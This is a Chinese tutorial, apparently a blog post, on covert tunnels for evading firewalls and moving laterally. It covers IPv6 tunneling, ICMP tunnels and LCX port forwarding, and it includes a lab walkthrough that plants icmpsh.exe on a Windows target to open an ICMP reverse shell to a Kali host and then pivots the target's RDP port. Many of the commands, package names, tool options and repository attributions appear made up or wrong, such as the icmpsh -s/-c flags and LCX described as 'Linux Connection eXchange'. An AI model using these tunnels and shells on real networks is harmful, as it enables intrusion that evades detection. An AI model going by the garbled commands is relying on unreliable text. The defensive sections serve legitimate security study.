隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_服务器端

网络层隧道技术


ipv6隧道IPv6 隧道技术是指通过IPv4 隧道传送 IPv6 数据报文的技术。

IPv6 隧道技术是一种在网络中实现 IPv6 数据报文通过 IPv4 网络传输的方法。由于 IPv6 和 IPv4 是两种不同的协议,它们之间不能直接通信,因此需要使用隧道技术来实现这两种协议之间的互通。IPv6 隧道技术通过将 IPv6 数据报文封装在 IPv4 数据报文中进行传输,从而允许 IPv6 数据包穿越纯 IPv4 网络。

IPv6 隧道技术的分类

IPv6 隧道技术可以分为以下几种主要类型:

  1. 手动隧道(Manual Tunnels)
  2. 自动隧道(Automatic Tunnels)
  3. 6to4 隧道
  4. ISATAP 隧道
  5. 6rd 隧道
  6. Teredo 隧道

1. 手动隧道(Manual Tunnels)

手动隧道是最基本的 IPv6 隧道技术,需要管理员手动配置两端的 IPv6 和 IPv4 地址。在手动隧道中,IPv6 数据包被封装在一个 IPv4 数据包中,通过 IPv4 网络传输到远端的隧道出口,然后再解封装并转发给最终的目的地。

配置示例

  • 在两端的路由器上分别配置 IPv6 和 IPv4 地址。
  • 配置隧道接口,指定远端的 IPv4 地址。
  • 配置路由表,指向隧道接口。

配置命令示例(Cisco 设备):

interface Tunnel0
 ip tunnel source 192.0.2.1
 ip tunnel destination 192.0.2.2
 ipv6 address 2001:db8::1/64
 ipv6 unicast-routing
 no ipv4

2. 自动隧道(Automatic Tunnels)

自动隧道是在手动隧道的基础上发展起来的,不需要手动配置隧道端点的 IPv4 地址。自动隧道技术利用了一些特定的机制来自动发现远端的隧道出口。

3. 6to4 隧道

6to4 隧道是一种自动隧道技术,它利用全局唯一的 IPv4 地址来标识 IPv6 隧道出口。6to4 隧道要求设备有一个全局唯一的 IPv4 地址,并且 IPv6 地址采用特定的前缀 2002::/16

配置命令示例(Cisco 设备):

interface Tunnel0
 ipv6 address 2002:c0a8:101::1/64
 ipv6 unicast-routing
 tunnel mode ipv6ip 6to4

4. ISATAP 隧道

ISATAP(Intra-Site Automatic Tunnel Addressing Protocol)是一种自动隧道技术,它允许没有全局唯一 IPv4 地址的设备通过本地链路范围内的 IPv4 地址创建 IPv6 隧道。ISATAP 隧道主要用于企业内部网络。

5. 6rd 隧道

6rd(IPv6 Rapid Deployment on IPv4 Infrastructures)是一种自动隧道技术,它通过使用 DHCPv4 服务器分配 IPv6 地址和隧道配置信息。6rd 隧道主要用于运营商网络中。

6. Teredo 隧道

Teredo 是一种自动隧道技术,它允许没有全局唯一 IPv4 地址的设备通过 NAT 设备进行 IPv6 通信。Teredo 隧道主要用于没有公网 IPv4 地址的设备。

配置命令示例(Windows 系统):

在 Windows 系统中,Teredo 隧道通常是自动启用的,无需额外配置。可以通过以下命令查看 Teredo 隧道的状态:

1ipconfig /all

示例配置

手动隧道配置示例

假设你有两个路由器,分别为 Router1 和 Router2,它们之间需要通过 IPv4 网络进行 IPv6 通信。

  1. Router1 配置
interface Tunnel0
 ip tunnel source 192.0.2.1
 ip tunnel destination 192.0.2.2
 ipv6 address 2001:db8::1/64
 ipv6 unicast-routing
 no ipv4
  1. Router2 配置
interface Tunnel0
 ip tunnel source 192.0.2.2
 ip tunnel destination 192.0.2.1
 ipv6 address 2001:db8::2/64
 ipv6 unicast-routing
 no ipv4

总结

IPv6 隧道技术是实现 IPv6 数据包通过 IPv4 网络传输的关键技术之一。通过不同的隧道技术,可以根据实际需求选择最适合的方案。手动隧道适用于小型网络或特定的连接需求,而自动隧道技术则更适合大规模网络或需要自动化的场景。

工具:socat、6tunnel、nt6tunnel

IPv6 隧道技术是实现 IPv6 数据包通过 IPv4 网络传输的关键技术之一。除了前面提到的手动隧道、自动隧道、6to4 隧道、ISATAP 隧道、6rd 隧道和 Teredo 隧道之外,还有一些工具可以用来搭建 IPv6 隧道,比如 socat6tunnelnt6tunnel。这些工具各有特点,适用于不同的场景。


1. socat

socat 是一个通用的、多功能的文件描述符重定向工具,可以用于多种场景下的数据传输。虽然 socat 不是专门为 IPv6 隧道设计的,但它可以通过自定义脚本来实现 IPv6 隧道的功能。

示例用法:使用 socat 搭建 IPv6 隧道

假设你需要将 IPv6 数据包通过 IPv4 网络传输到另一台机器:

  1. 启动隧道端点 A
socat -d -d OPENSSL-LISTEN:443,cert=/etc/ssl/certs/server.crt,key=/etc/ssl/private/server.key,fork TCP4:192.0.2.2:443

这里 OPENSSL-LISTEN 表示使用 OpenSSL 加密,TCP4 表示使用 IPv4 进行连接。

  1. 启动隧道端点 B
socat -d -d TCP4-LISTEN:443,fork OPENSSL:192.0.2.1:443,cert=/etc/ssl/certs/server.crt,key=/etc/ssl/private/server.key

这里 TCP4-LISTEN 表示监听 IPv4 地址,OPENSSL 表示使用 OpenSSL 加密。

2. 6tunnel

6tunnel 是一个轻量级的 IPv6 隧道工具,专门用于在 IPv4 网络上建立 IPv6 隧道。它可以自动配置隧道端点,并支持多种隧道类型,如 6to4 和 Teredo。

安装 6tunnel

sudo apt-get install 6tunnel

使用 6tunnel 搭建 6to4 隧道

sudo 6tunnel 6to4

使用 6tunnel 搭建 Teredo 隧道

sudo 6tunnel teredo

3. nt6tunnel

nt6tunnel 是一个用于 Windows 系统的 IPv6 隧道工具,它可以在 Windows 上实现 IPv6 隧道功能。nt6tunnel 支持多种隧道类型,包括 6to4 和 Teredo。

安装 nt6tunnel

nt6tunnel 可以从其官方网站或 GitHub 仓库下载。

使用 nt6tunnel 搭建 6to4 隧道

nt6tunnel 6to4

使用 nt6tunnel 搭建 Teredo 隧道

nt6tunnel teredo

示例配置

使用 socat 搭建 IPv6 隧道

假设你有两台机器,分别是 Machine A 和 Machine B,需要通过 IPv4 网络传输 IPv6 数据包。

  1. Machine A 配置
socat -d -d OPENSSL-LISTEN:443,cert=/etc/ssl/certs/server.crt,key=/etc/ssl/private/server.key,fork TCP4:192.0.2.2:443
  1. Machine B 配置
socat -d -d TCP4-LISTEN:443,fork OPENSSL:192.0.2.1:443,cert=/etc/ssl/certs/server.crt,key=/etc/ssl/private/server.key

使用 6tunnel 搭建 6to4 隧道

sudo 6tunnel 6to4

使用 6tunnel 搭建 Teredo 隧道

sudo 6tunnel teredo

总结

这些工具提供了不同的方式来实现 IPv6 隧道功能,可以根据你的具体需求选择最适合的工具。socat 是一个通用工具,可以通过自定义脚本来实现复杂的隧道功能;6tunnel 是一个轻量级的专用工具,支持多种隧道类型;nt6tunnel 是针对 Windows 系统的专用工具。无论你选择哪种工具,都需要根据具体的网络环境进行适当的配置。

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_服务器_02

icmp隧道

ICMP 隧道(ICMP Tunneling)是一种通过 Internet 控制消息协议(ICMP)来传输数据的技术。ICMP 通常用于网络诊断和错误报告,但在某些情况下,可以被用作一种隐蔽的通信渠道。ICMP 隧道可以绕过许多传统的防火墙和网络监控系统,因为这些系统通常不会对 ICMP 报文进行深度检查。

ICMP 隧道的特点

  1. 隐蔽性:ICMP 通常被认为是网络诊断工具,因此 ICMP 隧道可以避开一些防火墙和 IDS(入侵检测系统)的检测。
  2. 穿透能力:ICMP 报文通常不容易被过滤,因此 ICMP 隧道可以在高度受限的网络环境中工作。
  3. 低带宽:ICMP 报文的大小有限,因此 ICMP 隧道的带宽较低,适合于传输少量数据。

常见的 ICMP 隧道工具

  1. PingTunnel
  2. ICMPsh
  3. Icmpsh
  4. ICMP Tunnel

这些工具都可以用来在 ICMP 报文中封装数据,并通过 ICMP 协议在两个节点之间传输。

PingTunnel 示例

PingTunnel 是一个常用的 ICMP 隧道工具,可以在 Linux 系统上使用。它允许你在两个节点之间建立一个隐蔽的隧道,并通过 ICMP 报文传输数据。

安装 PingTunnel

在 Debian/Ubuntu 系统上,可以使用以下命令安装 PingTunnel

sudo apt-get update
sudo apt-get install pingtunnel

启动 PingTunnel 隧道

  1. 启动隧道服务器
sudo pingtunnel -s

这将在服务器上启动一个隧道服务。

  1. 启动隧道客户端
sudo pingtunnel -c <server_ip>

其中 <server_ip> 是隧道服务器的 IP 地址。

使用 PingTunnel 隧道传输数据

一旦隧道建立起来,你就可以通过这个隧道传输数据。例如,你可以使用 netcat 通过隧道传输数据:

  1. 在服务器端启动 netcat 监听
nc -l 4444
  1. 在客户端通过隧道连接服务器
nc -U /var/run/pingtunnel.sock 4444

ICMPsh 示例

ICMPsh 是另一个常用的 ICMP 隧道工具,可以在 Linux 系统上使用。它允许你通过 ICMP 报文传输数据,并提供了一个类似 shell 的交互界面。

安装 ICMPsh

在 Debian/Ubuntu 系统上,可以使用以下命令安装 ICMPsh

sudo apt-get update
sudo apt-get install icmpsh

启动 ICMPsh 隧道

  1. 启动隧道服务器
icmpsh -s

这将在服务器上启动一个隧道服务。

  1. 启动隧道客户端
icmpsh -c <server_ip>

其中 <server_ip> 是隧道服务器的 IP 地址。

使用 ICMPsh 隧道传输数据

一旦隧道建立起来,你就可以通过这个隧道传输数据。例如,你可以通过隧道执行命令:

echo "whoami" | icmpsh -c <server_ip>

这将通过隧道发送命令并在服务器上执行。

Icmpsh 示例

Icmpsh 是另一个类似的工具,可以在 Linux 系统上使用。它提供了一个简单的命令行界面来通过 ICMP 报文传输数据。

安装 Icmpsh

在 Debian/Ubuntu 系统上,可以使用以下命令安装 Icmpsh

sudo apt-get update
sudo apt-get install icmpsh

启动 Icmpsh 隧道

  1. 启动隧道服务器
icmpsh -s

这将在服务器上启动一个隧道服务。

  1. 启动隧道客户端
icmpsh -c <server_ip>

其中 <server_ip> 是隧道服务器的 IP 地址。

使用 Icmpsh 隧道传输数据

一旦隧道建立起来,你就可以通过这个隧道传输数据。例如,你可以通过隧道执行命令:

echo "whoami" | icmpsh -c <server_ip>

这将通过隧道发送命令并在服务器上执行。

总结

ICMP 隧道技术提供了一种隐蔽的通信方式,可以在高度受限的网络环境中传输数据。虽然 ICMP 隧道具有一定的隐蔽性和穿透能力,但由于 ICMP 报文的大小限制,它的带宽较低。使用 ICMP 隧道需要注意安全性和合法性问题,确保在合法的测试环境中使用,并遵守相关法律法规。

icmpsh 安装与使用

icmpsh、PingTunnel、icmptunnel、powershell icmp

icmpsh 是一个用于通过 ICMP 协议进行隐蔽通信的工具,可以在 Linux 系统上使用。它允许你在两个主机之间建立一个隐蔽的隧道,并通过 ICMP 报文传输数据。下面详细介绍如何安装和使用 icmpsh,以及一些示例命令。

安装 icmpsh

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_服务器端_03

icmpsh 可以通过源码编译或者从软件仓库安装。对于 Debian/Ubuntu 系统,可以直接使用软件仓库中的包。

从软件仓库安装

在 Debian/Ubuntu 系统上,可以使用以下命令安装 icmpsh

sudo apt update
sudo apt install icmpsh

如果 icmpsh 不在默认的软件仓库中,你可以尝试从其官方仓库添加源,或者从源码编译安装。

https://github.com/bdamele/icmpsh #这个工具有点老了,使用python2写的,所以要装一个python2的环境。
sudo apt install python-pip -y
pip2 -V
sudo python2 -m pip install --upgrade setuptools
sudo python2 -m pip install impacket

icmpsh.exe这个程序就是要上传到Windows靶机上的

icmpsh_m.py这个是服务端运行的(kali)

sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1  #关闭icmp应答

在windows上运行cmd

icmpsh.exe -t 172.17.17.106 #106是kali地址

kali运行

sudo python2 icmpsh_m.pyI172.17.17.106 192.168.80.104 #106是kaliIP,104是windowsIP

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_服务器端_04

在kali上输入

chcp 65001 #不输入的话会出现乱码

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_客户端_05

打开wirshark抓包就会发现,一直在发送icmp的数据包

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_服务器_06

输入ipconfig可以看到就是我们刚才用的那一台Windows电脑

从源码编译安装

  1. 下载源码
git clone https://github.com/darkoperator/icmpsh.git
cd icmpsh
  1. 编译安装
make
sudo make install

使用 icmpsh

icmpsh 的基本用法包括启动服务器端和客户端,以及通过隧道传输数据。

启动服务器端

在服务器端启动 icmpsh 作为服务器:

icmpsh -s

这将在服务器上启动一个隧道服务,并监听来自客户端的连接。

启动客户端

在客户端启动 icmpsh 并连接到服务器:

icmpsh -c <server_ip>

其中 <server_ip> 是服务器的 IP 地址。

示例命令

示例 1:简单交互式会话

  1. 启动服务器端
icmpsh -s

服务器端启动后,你会看到类似这样的输出:

icmpsh server listening for connections...
  1. 启动客户端
icmpsh -c <server_ip>

客户端启动后,你会看到类似这样的输出:

Connected to server!
  1. 交互式会话:你可以通过客户端向服务器发送命令,并查看服务器端的输出。例如,在客户端输入 whoami
whoami

服务器端会执行命令并将结果返回给客户端。

示例 2:通过隧道传输文件

  1. 启动服务器端
icmpsh -s
  1. 启动客户端
icmpsh -c <server_ip>
  1. 传输文件:你可以使用标准的输入输出重定向来传输文件。例如,将本地文件传输到服务器:
cat local_file | icmpsh -c <server_ip> > remote_file

这会将本地文件 local_file 的内容通过隧道传输到服务器,并保存为 remote_file

从服务器传输文件到本地:

icmpsh -c <server_ip> < remote_file > local_file

这会将服务器上的文件 remote_file 的内容通过隧道传输到本地,并保存为 local_file

示例输出

服务器端输出

当你在客户端发送命令时,服务器端会执行命令并返回结果。例如,客户端发送 whoami 命令:

Connected to server!
whoami

服务器端执行 whoami 命令并返回结果:

root

客户端输出

客户端接收到服务器端返回的结果:

root

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_服务器端_07

防御方法

由于 ICMP 隧道的隐蔽性,检测和防御 ICMP 隧道通信是一项挑战。以下是一些可能的防御方法:

1. 监控 ICMP 流量

  • 启用 ICMP 日志记录:确保网络设备(如路由器、防火墙)记录 ICMP 流量的日志。
  • 分析 ICMP 日志:定期检查 ICMP 日志,寻找异常的 ICMP 流量模式。
  • 使用 IDS/IPS:部署入侵检测系统(IDS)或入侵预防系统(IPS),这些系统可以识别和阻止异常的 ICMP 流量。

2. 限制 ICMP 流量

  • 防火墙规则:在防火墙上设置规则,限制 ICMP 流量的类型和数量。
  • 速率限制:限制 ICMP 报文的速率,避免大量 ICMP 报文占用带宽或被用于隐蔽通信。

3. 检测 ICMP 隧道特征

  • 深度包检测(DPI):使用 DPI 技术检查 ICMP 报文的有效负载,寻找可能的隧道特征。
  • 行为分析:分析 ICMP 流量的行为模式,例如数据量、频率等,以识别可能的隧道通信。

4. 网络分割

  • VLAN 分割:将网络划分为多个 VLAN,限制不同 VLAN 之间的 ICMP 通信。
  • 子网划分:合理划分子网,限制不必要的跨子网 ICMP 通信。

5. 安全意识培训

  • 员工培训:定期对员工进行网络安全意识培训,提醒他们注意潜在的安全威胁。
  • 政策制定:制定明确的网络使用政策,禁止未经授权的隐蔽通信工具的使用。

示例防御配置

配置 iptables 规则限制 ICMP 流量

在 Linux 系统上,可以使用 iptables 来限制 ICMP 流量。以下是一个示例规则,限制每秒不超过 10 个 ICMP 报文:

1sudo iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 10/second --limit-burst 20 -j ACCEPT
2sudo iptables -A INPUT -p icmp --icmp-type echo-reply -m limit --limit 10/second --limit-burst 20 -j ACCEPT
3sudo iptables -A INPUT -p icmp -j DROP

这条规则允许每秒最多 10 个 ICMP 请求和回复报文通过,超过这个限制的 ICMP 报文将被丢弃。

总结

icmpsh 是一个非常方便的工具,可以用于通过 ICMP 协议在两个主机之间建立隐蔽的隧道,并传输数据。你可以使用 icmpsh 进行简单的交互式会话,或者通过隧道传输文件。在使用 icmpsh 时,请确保遵守相关法律法规,并在合法的测试环境中使用

传输层隧道技术

 

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_客户端_08

内网横向移动(Lateral Movement)是指在渗投测试或网络公鸡过程中,公鸡者在一个内部网络中从一台受感染的主机向另一台主机扩散的行为。传输层隧道技术(Transport Layer Tunneling)是在这一过程中常用的一种技术手段,它通过在现有的网络协议之上建立一个安全的通道来传输数据,从而绕过中间的防火墙或入侵检测系统(IDS)。

传输层隧道技术概述

传输层隧道技术的主要目的是隐藏通信内容,使网络流量看起来像是正常的网络流量,从而绕过网络监控设备。它通常使用以下几种方法来实现:

  1. SSL/TLS 隧道
  • 利用 SSL/TLS 协议来加密通信数据,使得中间人(MITM)公鸡难以解密和分析流量。
  • 常见工具:stunnelOpenSSL 等。
  1. HTTP(S) 隧道
  • 利用 HTTP 或 HTTPS 协议来封装其他协议的数据包,使流量看起来像是普通的 Web 流量。
  • 常见工具:ProxychainsHtranChisel 等。
  1. DNS 隧道
  • 利用 DNS 协议来传输数据,因为大多数企业网络都会允许 DNS 流量。
  • 常见工具:dns2tcpdnscat2 等。
  1. ICMP 隧道
  • 利用 ICMP 协议来传输数据,因为 ICMP 通常被用于网络诊断,很多网络设备不会对其过滤。
  • 常见工具:icmpshicmptunnel 等。
  1. SMB 隧道
  • 利用 SMB 协议来封装其他协议的数据包,使流量看起来像是正常的文件共享流量。
  • 常见工具:ImpacketSMBTunnel 等。

具体应用案例

1. SSL/TLS 隧道

  • 工具stunnel
  • 用途:建立一个加密的隧道,可以在内部网络中传输敏感数据而不被轻易截获。
  • 示例命令
1stunnel -client -debug -accept 9900 -connect www.example.com:443

2. HTTP(S) 隧道

  • 工具Proxychains
  • 用途:通过 HTTP(S) 代理转发其他协议的数据包。
  • 示例命令
1proxychains nc -v www.example.com 80

3. DNS 隧道

  • 工具dnscat2
  • 用途:通过 DNS 协议传输数据,绕过防活墙和 IDS。
  • 示例命令
1dnscat2-client -s 8.8.8.8 -p 53

4. ICMP 隧道

  • 工具icmpsh
  • 用途:通过 ICMP 协议传输数据,绕过防活墙和 IDS。
  • 示例命令
1icmpsh -l

5. SMB 隧道

  • 工具Impacket
  • 用途:通过 SMB 协议传输数据,模拟正常的文件共享行为。
  • 示例命令
1smbexec.py -target-ip 192.168.1.100 -share C$ -user administrator -password password

安全防御措施

为了防御传输层隧道技术带来的风险,组织可以采取以下措施:

  1. 网络监控
  • 监控网络流量,尤其是 SSL/TLS 加密流量,使用 SSL/TLS 解密设备来检查加密流量的内容。
  1. 端口和协议过滤
  • 配置防火墙和 IDS 系统来过滤或记录异常流量,尤其是那些看似正常但实际携带异常负载的流量。
  1. 行为分析
  • 使用行为分析工具来检测网络中的异常行为,如异常的 DNS 请求、HTTP 请求等。
  1. 日志审查
  • 定期审查网络设备的日志,检查是否有异常的流量或活动。
  1. 最小权限原则
  • 限制用户的网络权限,减少横向移动的可能性。

LCX端口转发

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_客户端_09

LCX(Linux Connection eXchange)是一个轻量级的工具,用于在网络之间建立端口转发,它可以在 Linux 系统上运行,并且主要用于内网穿透、端口转发等场景。LCX 可以帮助你在网络中进行横向移动,特别是在渗投测试和网络安全评估中非常有用。

LCX 的特点

  1. 轻量级
  • LCX 是一个非常小的工具,易于部署和使用。
  1. 简单易用
  • LCX 提供了一个简单的命令行界面,无需复杂的配置即可快速建立端口转发。
  1. 跨平台
  • LCX 可以在 Linux 和 Windows 系统上运行,适用于多种操作系统环境。
  1. 安全性
  • LCX 可以使用加密来保护数据传输,增加了数据的安全性。

LCX 的基本用法

LCX 的主要功能是建立端口转发,将一个网络中的端口流量转发到另一个网络中的端口。它可以分为客户端(LCX Client)和服务端(LCX Server)两部分。

安装 LCX

首先,你需要在目标机器上安装 LCX。LCX 可以通过编译源代码或使用预编译的二进制文件来安装。

  1. 下载源代码
1git clone https://github.com/jtesta/lcx.git
2cd lcx
3make
  1. 编译并安装
1sudo make install

启动服务端

服务端需要先启动,以便接收来自客户端的连接请求。

  1. 启动服务端
1lcx -l -p 443

这个命令将在本地监听端口 443,并等待客户端的连接请求。

启动客户端

客户端连接到服务端,并指定要转发的端口。

  1. 启动客户端
1lcx -c 192.168.1.100:443 -p 8080

这个命令将连接到 IP 地址为 192.168.1.100 的服务端上的端口 443,并将本地端口 8080 上的流量转发到服务端。

示例场景

假设你在渗投测试中遇到了一个内网环境,需要将内网中的一台机器的某个端口(例如 3389)转发到你的控制机上。

  1. 在内网机器上启动服务端
1lcx -l -p 443
  1. 在控制机上启动客户端
1lcx -c 192.168.1.100:443 -p 3389

这样,你就可以通过控制机上的端口 3389 访问内网机器上的端口 3389。

LCX 的高级用法

LCX 还支持更多高级功能,例如加密传输、多跳转发等。

  1. 加密传输
  • 通过 -e 参数启用加密:
1lcx -l -p 443 -e
2lcx -c 192.168.1.100:443 -p 8080 -e
  1. 多跳转发
  • 如果需要通过多个跳板机进行转发,可以依次启动多个客户端:
1lcx -c 192.168.1.100:443 -p 443
2lcx -c 192.168.1.200:443 -p 8080

安全注意事项

在使用 LCX 进行端口转发时,需要注意以下几点:

  1. 权限管理
  • 确保只有授权的用户可以使用 LCX,并且有足够的权限启动端口转发。
  1. 加密通信
  • 使用加密选项来保护数据传输的安全。
  1. 日志记录
  • 记录 LCX 的使用情况,以便在发生安全事件时进行审计。
  1. 防火墙规则
  • 配置防火墙规则,确保只有必要的端口被开放,并且流量被正确过滤。

练习

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_服务器端_10

kali用ssh连接到Ubuntu上去

clear #在Kali Linux中,clear命令用于清除终端屏幕上的内容。

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_客户端_11

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_客户端_12

Ubuntu和kali都装好了这个lcx

第一次下载好是没有这个lcx的程序的,需要输入这个make命令来编译

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_服务器_13

回到Windows系统上来运行lcx.exe程序,要把这个win机器的3389端口发送到内网的Ubuntu的端口5555上,后面接上本机端口的3389端口

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_服务器_14

提示信息正在连接

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_服务器_15

跳板机需要运行lcx 加参数吧自己的5555端口转到4444端口

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_服务器端_16

在kali上输入rdeskyop 172.17.17.104:4444

可以看到就正在连接了

隐蔽隧道技战术(二)ipv6、ICMP、传输层隧道技术_客户端_17

稍等片刻之后就出现了远程桌面的显示了。